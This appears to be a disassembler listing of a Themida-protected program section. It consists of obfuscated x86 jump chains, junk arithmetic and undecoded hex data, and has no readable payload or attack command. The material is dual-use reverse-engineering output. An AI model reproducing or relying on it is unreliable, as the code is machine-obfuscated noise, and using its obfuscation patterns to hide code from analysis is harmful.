		dd 0A848E9DDh, 0D7290000h, 243C875Ah, 0C9C5E95Ch, 815BFFFFh
		dd 46506FC6h, 81D6010Eh, 46506FEEh, 0EC815A0Eh,	4, 0BF243C89h
		dd 4, 86E9FE01h, 6800008Ch, 16Dh, 89243489h, 28E951E6h
		dd 5700007Ah, 715F82BFh, 3AF78144h, 0E9781070h,	0FFFFB395h
		dd 0EA81DA01h, 584642E3h, 1FDBC281h, 36E92D04h,	81FFFFFFh
		dd 0D91512E5h, 94EDE95Dh, 0C781FFFFh, 41C1501Ah, 0FDE9F901h
		dd 81000076h, 59A5F1C1h, 91EE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D932:				; CODE XREF: Themida_:0059C062j
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A6695
; ---------------------------------------------------------------------------
		db 58h
		dd 4B03E3C1h, 0FF9E7BE9h, 81DBF7FFh, 214A95C3h,	2EB815Eh
		dd 19DC1C9h, 1C8B5BD8h,	8CE95624h, 89FFFFB9h, 56E92434h
		dd 0E900008Bh, 0FFFF8514h
; ---------------------------------------------------------------------------


loc_59D978:				; CODE XREF: Themida_:005960EDj
		pop	ebx
		push	ebx
		push	130Eh
		jmp	loc_59C884
; ---------------------------------------------------------------------------


loc_59D984:				; CODE XREF: Themida_:00596B00j
		push	ebx
		pop	edi
		jmp	loc_5A74EC
; ---------------------------------------------------------------------------
aXS		db 'X)ÃéÕ:',0
		dw 5000h
		dd 9039C9B8h, 58C12970h, 8324348Bh, 0C18304C4h,	74FF5102h
		dd 26E90424h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D9AF:				; CODE XREF: Themida_:005A9F93j
		mov	ebx, 6BF173C7h
		add	ebx, 1897730Fh
		add	ebx, 317257BBh
		xor	ebx, 6D9B0824h
		jmp	loc_599345
; ---------------------------------------------------------------------------
		db 89h
		dd 0F4BE2434h, 810C936Fh, 9F08246Ch, 178C113h, 81082474h
		dd 9F082444h, 8B78C113h, 0C4812434h, 4,	5F2434FFh, 81E78957h
		dd 4C7h, 4BB5300h, 1000000h, 3C875BDFh,	7DE95C24h, 89FFFF84h
		dd 0DA13E9E1h, 0C180FFFFh, 0B4AEE9DBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DA1E:				; CODE XREF: Themida_:0059AF17j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	eax
		jmp	loc_5A1A1F
; ---------------------------------------------------------------------------


loc_59DA30:				; CODE XREF: Themida_:0059A952j
		add	edx, ecx
		pop	ecx
		jmp	loc_5A1C1D
; ---------------------------------------------------------------------------


loc_59DA38:				; CODE XREF: Themida_:005A9418j
		pop	esp
		jmp	loc_5A3EE0
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0AC27E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DA46:				; CODE XREF: Themida_:005983D7j
		pop	edi
		push	ebp
		push	ecx
		jmp	loc_5A97BF
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 900CE924h, 8B66FFFFh, 0B6682404h, 89000068h,	56682414h
		dd 0E900007Bh, 1053h
; ---------------------------------------------------------------------------


loc_59DA6C:				; CODE XREF: Themida_:0059EEADj
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5A90D5
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E1E95224h, 8BFFFFEAh, 0D8312424h, 8B2434FFh, 8957241Ch
		dd 0BE5651E7h, 4, 15EF189h, 240C8BCFh, 8304C483h, 3C3304C7h
		dd 243C3124h, 0E9243C33h, 0FFFFC595h, 33241431h, 248B2414h
		dd 0A30F6624h, 0E99C2404h, 8DA9h, 8704C383h, 565C241Ch
		dd 5889E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DAD1:				; CODE XREF: Themida_:0059CF00j
		xor	eax, 0DE87CFh
		mov	edx, eax
		mov	eax, [esp]
		jmp	loc_59ECCA
; ---------------------------------------------------------------------------
		dd 31243433h, 34332434h, 24248B24h, 9C2404D2h, 0FF8397E9h
		dd 4C483FFh, 169E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DAFD:				; CODE XREF: Themida_:005A03CBj
		xchg	ebx, [esp]
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_597A3B
; ---------------------------------------------------------------------------


loc_59DB12:				; CODE XREF: Themida_:0059C8C7j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59C773
; ---------------------------------------------------------------------------


loc_59DB20:				; CODE XREF: Themida_:0059788Bj
		push	598Dh
		mov	[esp], ebp
		mov	ebp, 28506D2Fh
		dec	ebp
		not	ebp
		not	ebp
		add	ebp, 39360F6Dh
		mov	edi, ebp
		jmp	loc_597948
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 833EE99Ch, 0BE56FFFFh,	35DF3276h
		dd 5FEE8146h, 0E9592669h, 97D9h
; ---------------------------------------------------------------------------


loc_59DB60:				; CODE XREF: Themida_:00599AAAj
		mov	[esp], edi
		jmp	loc_5A16C7
; ---------------------------------------------------------------------------


loc_59DB68:				; CODE XREF: Themida_:005A94A9j
		push	6753h
		mov	[esp], ebp
		push	edi
		mov	edi, 3BC35678h
		shr	edi, 3
		push	edi
		mov	edi, esp
		jmp	loc_5A4AB0
; ---------------------------------------------------------------------------
		db 80h,	0EDh, 0B7h
		dd 0C580E528h, 1512E9B7h, 8B660000h, 8956240Ch,	4C681E6h
		dd 68000000h, 79BFh, 56240489h,	0FA1B8D68h, 24348B5Bh
		dd 8104C483h, 0FA1B8BEEh, 5EF0895Bh, 0FFA871E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DBBD:				; CODE XREF: Themida_:0059D41Fj
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A0155
; ---------------------------------------------------------------------------
		dd 241C3358h, 0C145E9h,	28686600h, 9218E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DBE6:				; CODE XREF: Themida_:005A6DD7j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_59CD66
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0FBh
		dd 976330Fh, 0E68158C6h, 21876F6Eh, 5792C681h, 0F721E870h
		dd 0CF81475Eh, 4C4B174Dh, 0B951h, 0F9290000h, 3EE9CF89h
		dd 81FFFF9Fh, 4C2h, 4381E900h, 8B5B0000h, 0C4812404h, 4
		dd 34FFC800h, 35E95924h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DC47:				; CODE XREF: Themida_:0059A7A5j
		mov	esi, 4FB641E8h
		push	373Fh
		mov	[esp], eax
		mov	eax, 5D62266Bh
		jmp	loc_5A1513
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E9D7E924h, 1487FFFFh, 24248B24h, 240CD366h,	8216E99Ch
		dd 2C89FFFFh, 4BD24h, 50510000h, 0FFE668E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DC85:				; CODE XREF: Themida_:005A7C57j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 29A568ADh
		push	esi
		mov	esi, ebp
		jmp	loc_5A3974
; ---------------------------------------------------------------------------
		dd 0B59E235h, 2A8E2D33h, 80357B79h, 29399316h, 0B95158C6h
		dd 0
		dd 0CE89F129h, 0FDC68159h, 0C159C618h, 0D6F703E6h, 5E40BF57h
		dd 0EFC10611h, 0E9DFF704h, 0FFFFCF09h, 0F905D801h, 0E9523663h
		dd 0FFFF967Dh, 0EE23EA81h, 0D031E4CCh, 3FDCE95Ah, 5E5E0000h
		dd 815A5452h, 4C2h, 0C29AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DCFE:				; CODE XREF: Themida_:00598C47j
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_599916
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 2
		dd 240C8966h, 18BE6656h, 0C6816647h, 4E664267h,	66D6F766h
		dd 5206E6C1h, 4BB2E9h, 0D3665C00h, 0E99C2424h, 0FFFF8158h
; ---------------------------------------------------------------------------


loc_59DD34:				; CODE XREF: Themida_:005A9E62j
		pop	eax
		shl	edi, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3E9D3302h
		add	edi, ebp
		jmp	loc_5AA752
; ---------------------------------------------------------------------------
		dw 0C80Fh
		dd 664168h, 24048900h, 0FF8133E9h, 2E6C1FFh, 6CE9EED1h
		dd 81FFFF9Bh, 0C57863C6h, 81DE2900h, 0C57863EEh, 2434FF00h
		dd 3C4BE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DD7A:				; CODE XREF: Themida_:005A67F4j
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_5A3158
; ---------------------------------------------------------------------------
aISu3		db '[‰Ñéž3',0
		db 0
; ---------------------------------------------------------------------------


loc_59DD91:				; CODE XREF: Themida_:005A7C02j
		pop	esp
		mov	[esp], ebx
		push	edi
		push	20h
		pop	edi
		jmp	loc_5A2551
; ---------------------------------------------------------------------------
		db 59h,	8Bh, 1Ch
aS0		db '$é0Á',0
		align 2
		dw 0EF81h
		dd 4D257D78h, 0C781CF01h, 4D257D78h, 81240C8Bh,	4C4h, 0CA15E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DDC6:				; CODE XREF: Themida_:005979FFj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_59DDCD:				; CODE XREF: Themida_:0059991Cj
		push	0D3Dh
		jmp	loc_5A00CD
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0E7BBC2Dh, 3E93056Ah, 0CA052F2Dh, 2923E711h,	0F28FE9D8h
		dd 0D366FFFFh, 0E99C243Ch, 0FFFF8094h
; ---------------------------------------------------------------------------


loc_59DDF8:				; CODE XREF: Themida_:005A0F5Cj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5A35BD
; ---------------------------------------------------------------------------


loc_59DE12:				; CODE XREF: Themida_:005A97C3j
		pop	ecx
		pop	dword ptr [esp]
		not	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_59A4CA
; ---------------------------------------------------------------------------


loc_59DE26:				; CODE XREF: Themida_:005A1C23j
		push	ecx
		mov	ecx, 381550E8h
		push	ecx
		pop	edi
		pop	ecx
		push	ebx
		jmp	loc_596E26
; ---------------------------------------------------------------------------
		align 2
		dw 80D3h
		dd 148BA8EBh, 4C48124h,	0E9000000h, 4B64h, 5150E389h, 4B9h
		dd 8BC88900h, 0C483240Ch, 83EB8104h, 817EAF19h,	220363C3h
		dd 4CC38164h, 166AA58h,	4CEB81C3h, 5166AA58h, 220363B9h
		dd 30C38164h, 553C013Bh, 0FFB254E9h, 81D601FFh,	946304C6h
		dd 0F74E5A4Eh, 10C681D6h, 2D365C65h, 77250A24h,	9B532E05h
		dd 2DF02950h, 509B532Eh, 5384E9h, 25206800h, 0C890000h
		dd 5E72B924h, 81492161h, 0B231BC9h, 71C98141h, 6865560Fh
		dd 3069h, 6A56E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DED1:				; CODE XREF: Themida_:00597B07j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59E969
; ---------------------------------------------------------------------------
		db 81h
		dd 6CD6242Ch, 4814596h,	8C162D24h, 24040116h, 2D242C81h
		dd 50168C16h, 966CD6B8h, 24440145h, 7D88E904h, 0B7530000h
		dd 52F5E9A4h, 34FF0000h, 24148B24h, 4C481h, 90E90000h
		dd 81FFFFDDh, 4C3h, 2EB8100h, 53000000h, 42474FFh, 5E53E9h
		dd 4C48300h, 0E95FFA01h, 5B58h
; ---------------------------------------------------------------------------


loc_59DF40:				; CODE XREF: Themida_:005A430Dj
		mov	edx, 772A1267h
		dec	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 48EF4D06h
		jmp	loc_59750F
; ---------------------------------------------------------------------------
		dw 0EF31h
		dd 0C83BE995h, 0EB81FFFFh, 0E66B1FC3h, 0FFE26DE9h, 2434FFFFh
		dd 592434FFh, 0DA968h, 243C8900h, 0C781E789h, 4, 0AFF1E955h
		dd 0E580FFFFh, 0B0ED801Eh, 8059EA08h, 14E973CAh, 53FFFFD0h
		dd 4BBh, 245C0100h, 0B3E95B04h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DFA7:				; CODE XREF: Themida_:0059D259j
		pop	edx
		jmp	loc_5AA421
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FFC600E9h, 0DA8952FFh, 85ECE956h, 0C330000h, 2AE95C24h
		dd 0D1000056h, 6AF381EBh, 10A5443h, 38E95BD9h, 89FFFFF7h
		dd 13BA2414h, 8156EA3Bh, 1C2h, 1EA8300h, 7E09CA81h, 0D6E97D12h
		dd 1000005h, 1EE959CEh,	51000068h, 0B9h, 3D10100h, 0CB21E901h
		dd 0B850FFFFh, 184020BDh, 0E8C1D0F7h, 0F4E94002h, 8700007Bh
		dd 895C240Ch, 8B682404h, 0E900001Ah, 2DFh, 6C8BCF81h, 0C14729C0h
		dd 0EF8107EFh, 9B877E5Eh, 0E95FF831h, 8D7Fh
; ---------------------------------------------------------------------------


loc_59E044:				; CODE XREF: Themida_:0059F22Bj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59D86C
; ---------------------------------------------------------------------------
		db 1, 0F7h, 5Eh
		dd 4EF81h, 3C870000h, 8B74E924h, 0C483FFFFh, 0A3B5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E066:				; CODE XREF: Themida_:005A3A60j
		mov	ebp, ebx
		jmp	loc_5A0B1F
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 5C240487h, 0FFBFB5E9h, 684EBFFFh, 0EF813044h, 0C4572CB7h
		dd 22E9FA89h, 81000014h, 4ECh, 243C8900h, 2DD4B850h, 0BD550B9Dh
		dd 7FBB897Ah, 2C8BEF89h, 4C48124h, 29000000h, 24048BC7h
		dd 4C481h, 0ECE90000h, 81000051h, 0F67C67EBh, 57A5684Bh
		dd 34890000h, 632EBE24h, 0B8504149h, 4E710F7Ch,	7E7B0D40h
		dd 892D27D7h, 93E6721h,	0E68158C6h, 288600C5h, 33C7F681h
		dd 0F32904E0h, 8324348Bh, 875D04C4h, 24E9241Ch,	0F700005Dh
		dd 33E956D3h, 810000A1h, 3FE989C7h, 0F8895004h,	0F9E9C689h
		dd 500000BDh, 0C0FEDAB0h, 3407E8C0h, 0C0C50CD2h, 8FE904E0h
		dd 49FFFFADh, 74A8C181h, 0CD010293h, 24048B59h,	0FF93A2E9h
		dd 42C781FFh, 5070520Bh, 1C0E23B8h, 786EE926h, 0C4810000h
		dd 4, 0FF7D33E9h, 0D7295DFFh, 9227E9h, 5E96BD00h, 0E5C125D7h
		dd 76DCE906h, 0EC810000h, 2, 0FFE4E4E9h, 514EB6FFh, 0B652AFB5h
		dd 0A93BE9C9h, 3C8B0000h, 4C48124h, 0E9000000h,	8493h
		dd 4D16F581h, 68451D77h, 2612h,	0E9241489h, 0FFFF8676h
		dd 2474FF52h, 48F5A04h,	0C1895C24h, 2707E958h, 0F1810000h
		dd 4391B31h, 0FFE98341h, 3877F181h, 0C281469Fh,	1AA54A02h
		dd 0FFDFBEE9h, 7CB2E9FFh, 6866FFFFh, 0EC835923h, 66546602h
		dd 6624048Fh, 2686653h,	665B6600h, 2245C01h, 241C8B66h
		dd 2C481h, 8F660000h, 0E9502404h, 0FFFFCFF9h, 5B1F0ABAh
		dd 0B0CA813Dh, 5654C86Ch, 34794FBEh, 0B883E914h, 65680000h
		dd 5E67A820h, 0A3E9D6F7h, 89000027h, 8226E9CFh,	0C7810000h
		dd 6C4E5F03h, 243C8758h, 0C15DE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E242:				; CODE XREF: Themida_:0059D2C0j
		add	bl, ah
		pop	eax
		sub	bl, dh
		sub	bl, 3Ch
		pop	edx
		jmp	loc_598584
; ---------------------------------------------------------------------------
		dd 26E9CD29h, 81FFFFEDh, 63202434h, 815A62CEh, 0CE6320F2h
		dd 24048B62h, 2CF4E9h, 83C38100h, 587EAF19h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 2
		add	ebx, 75AF3754h
		add	ebx, esi
		sub	ebx, 75AF3754h
		jmp	loc_5A27D9
; ---------------------------------------------------------------------------
		dd 4C38358h, 8B241C87h,	0EC832424h, 24048904h, 24048B54h
		dd 6804C483h, 145Dh, 0BD242C89h, 4BF51BF7h, 1BF3F581h
		dd 16E94BF5h, 8900003Dh, 5D54242Ch, 4C581h, 0ED830000h
		dd 242C3304h, 0C8A1E9h,	40D0F700h, 0BEE9D0F7h, 80000063h
		dd 0D7002FC7h, 0E92FEF80h, 1037h, 4C481h, 31E90000h, 89000053h
		dd 19E92424h, 56000087h, 0C681E689h, 4,	0CD98E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E321:				; CODE XREF: Themida_:005A99CCj
		not	dword ptr [esp]
		pop	edi
		push	eax
		push	edi
		pop	eax
		jmp	loc_5A0338
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C5h
		dd 4, 1B7768h, 242C8900h, 42474FFh, 24048F5Dh, 9CC8855Ch
		dd 0FF7B3FE9h, 75C781FFh, 50223D2Ch, 807303B8h,	24D255Eh
		dd 0B9056F08h, 56F9C73h, 69D731DDh, 4B5F8F05h, 48EF8119h
		dd 2925ED6Ch, 48C781C7h, 5825ED6Ch, 4457EF81h, 348B1EA2h
		dd 4C48324h, 34FFF831h,	54575F24h, 0E9243C8Bh, 0FFFFC604h
		dd 510EE281h, 0C2813504h, 0FFFFF002h, 0A489E9h,	6EC68100h
		dd 0E9077FBEh, 0C3ECh, 8BECC680h, 73E9240Ch, 0D100004Ah
		dd 0D03548E0h, 354F8740h, 0BB1C1740h, 5B58C601h, 52F868h
		dd 243C8900h, 948DE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E3DE:				; CODE XREF: Themida_:005A396Fj
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		xchg	ecx, esi
		jmp	loc_59954E
; ---------------------------------------------------------------------------
		db 81h
		dd 0FC1BE3EAh, 2434FF01h, 2FACE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E3FA:				; CODE XREF: Themida_:005A7834j
		add	edx, 214975DEh
		push	edi
		jmp	loc_596211
; ---------------------------------------------------------------------------


loc_59E406:				; CODE XREF: Themida_:005A9454j
		xor	ebp, 49F73FFFh
		push	edx
		push	ebp
		sub	dword ptr [esp], 6A50264Ch
		pop	edx
		push	35DBh
		mov	[esp], ecx
		mov	ecx, 36BC2E72h
		shl	ecx, 7
		neg	ecx
		jmp	loc_5A2E1C
; ---------------------------------------------------------------------------
		db 59h,	8Bh, 1Ch
		dd 4C48124h, 2C000000h,	8B0488h, 0B15166F0h, 62C4E98Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E446:				; CODE XREF: Themida_:005A8DBBj
		xchg	ebp, [esp]
		jmp	loc_599AA9
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0BFE9240Ch
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E457:				; CODE XREF: Themida_:0059CF2Dj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5972C0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E6895604h, 4C681h, 0C6810000h, 4, 5C243487h, 6824048Bh
		dd 4B4Ch, 83241C89h, 0D26804ECh, 0E900005Eh, 0FFFFC0E8h
; ---------------------------------------------------------------------------


loc_59E490:				; CODE XREF: Themida_:0059F5A0j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59683A
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFFC9ACh, 8BF8015Ah, 0C483243Ch, 24048704h
		dd 0E924248Bh, 95A0h
; ---------------------------------------------------------------------------


loc_59E4C0:				; CODE XREF: Themida_:005A4BFBj
		pop	ecx
		sub	ecx, 207B6B26h
		pop	edx
		jmp	loc_5A5A31
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 65h
		dd 31E74470h, 240C8BCAh, 4C481h, 0D3010000h, 5BDE895Ah
		dd 8105E6C1h, 63033CEEh, 8BF3010Bh, 0C4832434h,	31E66804h
		dd 0C6E90000h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E4FF:				; CODE XREF: Themida_:005A37A7j
		and	ecx, 14992CE0h
		inc	ecx
		sub	ecx, 7F4F31EDh
		jmp	loc_59703E
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0Bh
		dd 31053BB2h, 0D7015EF2h, 2C7815Ah, 33000000h, 3C31243Ch
		dd 243C3324h, 6624248Bh, 0E924048Bh, 0FFFFFDDBh, 24048B66h
		dd 0FFC1FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E541:				; CODE XREF: Themida_:005AA427j
		push	edx
		mov	edx, 35A832F9h
		or	edx, 422F20FEh
		inc	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 6458A620h
		sub	ebx, 3F0C3BD6h
		sub	ebx, edx
		jmp	loc_5A0207
; ---------------------------------------------------------------------------
		dw 1CF6h
		dd 1DE99C24h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E56F:				; CODE XREF: Themida_:005974A9j
		mov	[esp], ebx
		push	eax
		jmp	loc_59B404
; ---------------------------------------------------------------------------
		dd 48D9BA52h, 0D029C4CBh, 0DFC5815Ah, 81546D6Fh, 0A139E2EDh
		dd 81C50105h, 0A139E2C5h, 7B6EE905h, 0EA83FFFFh, 24148704h
		dd 0A7DCE95Ch, 0E3810000h, 693A37ABh, 0A2CC381h, 0DD896FFDh
		dd 5DEB315Bh, 0E193F381h, 0C281BD8Ah, 1D976900h, 0FFB894E9h
		dd 0D2F74AFFh, 80E3EA81h, 0C1818005h, 60311E90h, 0E981D129h
		dd 60311E90h, 5A2434FFh, 0E904C483h, 3CECh
; ---------------------------------------------------------------------------


loc_59E5EC:				; CODE XREF: Themida_:0059FD45j
		pop	ebx
		sub	edx, 7B5C5DAEh
		sub	edx, 6B731302h
		add	edx, ebx
		push	6DCFh
		mov	[esp], ebx
		push	eax
		mov	eax, 4AA2B96h
		sub	eax, 99371894h
		mov	ebx, eax
		pop	eax
		add	edx, ebx
		pop	ebx
		add	edx, 7B5C5DAEh
		jmp	loc_59AF06
; ---------------------------------------------------------------------------
		db 31h
		dd 0C68159CEh, 669667BBh, 0FFEBB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E62D:				; CODE XREF: Themida_:005997DCj
		mov	eax, 0F7B3322h
		add	ebx, 4C5C2957h
		add	ebx, eax
		sub	ebx, 4C5C2957h
		jmp	loc_5A3A55
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E8830000h, 7CB3E904h, 0FA00FFFFh, 83241C8Bh, 19E904C4h
		dd 89000017h, 0BE565AD3h, 72DD2E3Dh, 0F75EF309h, 39CB81DBh
		dd 555E7923h, 3C95E953h, 64680000h, 8900002Bh, 7DBB241Ch
		dd 8123000Eh, 844DD7F3h, 5ABA5236h, 1EA7BBCh, 8852E9D3h
		dd 7BEFFFFh, 81163F2Dh,	3F2D03F6h, 5EF20116h, 0E9241487h
		dd 0FFFF7887h
; ---------------------------------------------------------------------------


loc_59E6B0:				; CODE XREF: Themida_:005A4D12j
		xor	ecx, 6CEF61FBh
		shr	ecx, 6
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		push	ebp
		mov	ebp, 1C093258h
		jmp	loc_5AA1D2
; ---------------------------------------------------------------------------


loc_59E6C8:				; CODE XREF: Themida_:0059BB50j
		mov	ebp, 0E6938C9h
		xor	ebp, 3FDA7DDFh
		jmp	loc_596464
; ---------------------------------------------------------------------------
		dd 0FF77AFE9h, 30C281FFh, 0E9B71315h, 112Ah
; ---------------------------------------------------------------------------


loc_59E6E8:				; CODE XREF: Themida_:00596A41j
		or	ebp, 70237F8Eh
		push	362Eh
		jmp	loc_597756
; ---------------------------------------------------------------------------
		dd 0BE565B5Ah, 50011E0Dh, 0FFDECEE9h, 81EB01FFh, 3E5B81C3h
		dd 9750E97Fh, 0E1B80000h, 0C16A8C2Dh, 0D8F705E0h, 385B7B05h
		dd 679EE929h, 81450000h, 2D0AFEF5h, 0F1DDE965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E732:				; CODE XREF: Themida_:0059AC76j
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 630F2A0Eh
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_59C45A
; ---------------------------------------------------------------------------
		dw 0CA89h
		dd 0FFE4A0E9h, 0FEE981FFh, 814ECA0Bh, 0F65CB1C1h, 81D90154h
		dd 0F65CB1E9h, 0FEC18154h, 5B4ECA0Bh, 2C181h, 0C870000h
		dd 24248B24h, 0D9E9E9F6h, 6600008Ch, 86D5F658h,	8EAC0EAh
		dd 0DDEA80h, 2434FFD3h,	25E9515Ah, 53FFFFD3h, 0E904EC83h
		dd 0B949h
; ---------------------------------------------------------------------------


loc_59E7A4:				; CODE XREF: Themida_:0059C7DBj
		pop	eax
		sub	ebp, 2384915h
		jmp	loc_5A3581
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E9240C8Bh, 0C48Dh, 0C681D601h, 3B0203A8h
		dd 8324148Bh, 0EDE904C4h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E7CF:				; CODE XREF: Themida_:0059F0F2j
		pop	ebx
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, ebx
		pop	ebx
		mov	eax, esi
		jmp	loc_5A4843
; ---------------------------------------------------------------------------
		dd offset loc_41D268
		dw 8900h
a4HK		db '4$hÆk',0
		dw 8900h
		dd 11BF243Ch, 0F7573262h, 9FEF81D7h, 0F76ED240h, 79E781D7h
		dd 51737A5Fh, 7B6CE9h, 4C48100h, 0E9000000h, 0FFFF780Ah
		dd 240C8B66h, 9D368h, 243C8900h, 0E9505F54h, 0FFFF78B7h
; ---------------------------------------------------------------------------


loc_59E82C:				; CODE XREF: Themida_:00599D86j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5992A9
; ---------------------------------------------------------------------------


loc_59E835:				; CODE XREF: Themida_:0059AC9Fj
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	7CA1h
		jmp	loc_5A5B8E
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E1895124h, 0A91EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59E855:				; CODE XREF: Themida_:005A5EDAj
		push	eax
		jmp	loc_5985C5
; ---------------------------------------------------------------------------
		db 1
		dd 0BE9BE9F5h, 0C1590000h, 0E94204E2h, 2B9Ah
; ---------------------------------------------------------------------------


loc_59E86C:				; CODE XREF: Themida_:0059ED54j
		pop	edx
		jmp	loc_59A1D4
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 0F38159CBh, 6B682350h, 6DEDEB81h, 0D931B2F6h, 57241C8Bh
		dd 18E9E789h, 83000005h, 1C8904ECh, 81E38924h, 4C3h, 5411E900h
		dd 0E9540000h, 0B456h, 3504E0C1h, 890149E3h, 0E958C331h
		dd 0ADBFh
; ---------------------------------------------------------------------------


loc_59E8B8:				; CODE XREF: Themida_:005A9301j
		add	ebp, esi
		sub	ebp, 7F19784Eh
		mov	esi, [esp]
		jmp	loc_5A1000
; ---------------------------------------------------------------------------
		dd 5EF30159h, 0E904C383h, 7ABFh, 7654BF57h, 2BE93F82h
		dd 0F6FFFFC4h, 0B0EA80DAh, 0BBE9D428h, 52000008h, 0B167AABAh
		dd 0B0B5E90Dh, 0D4F6FFFFh, 0B252D4F6h, 0B5C28034h, 0F280EAD0h
		dd 5AD42817h, 0E9E688h,	680000B4h, 676D1E1Dh, 8BDBE9h
		dd 74FF5300h, 0A7E90424h, 8B00004Ah, 52682404h,	8900003Ah
		dd 5B54241Ch, 41FCBE56h, 0E68143FBh, 4F0906B1h,	232EBF57h
		dd 0FE291F36h, 29BB535Fh, 3170CF1Ah, 0AC67E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E952:				; CODE XREF: Themida_:00599DE7j
		or	eax, 53C25755h
		add	eax, 1DFEE82Ch
		push	eax
		mov	eax, 4D034523h
		sub	edi, eax
		jmp	loc_5A0DFB
; ---------------------------------------------------------------------------


loc_59E969:				; CODE XREF: Themida_:0059DEDAj
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	4DA2h
		mov	[esp], edx
		jmp	loc_59F698
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 6804C483h, 2184h, 68242C89h,	64306F6Bh, 81242C8Bh, 4C4h
		dd 5DEF2100h, 8CBCE9h, 4EC8300h, 68241C89h, 6DFB3815h
		dd 0F381435Bh, 39DB76CFh, 89D88950h, 0E95B58C7h, 0B3FDh
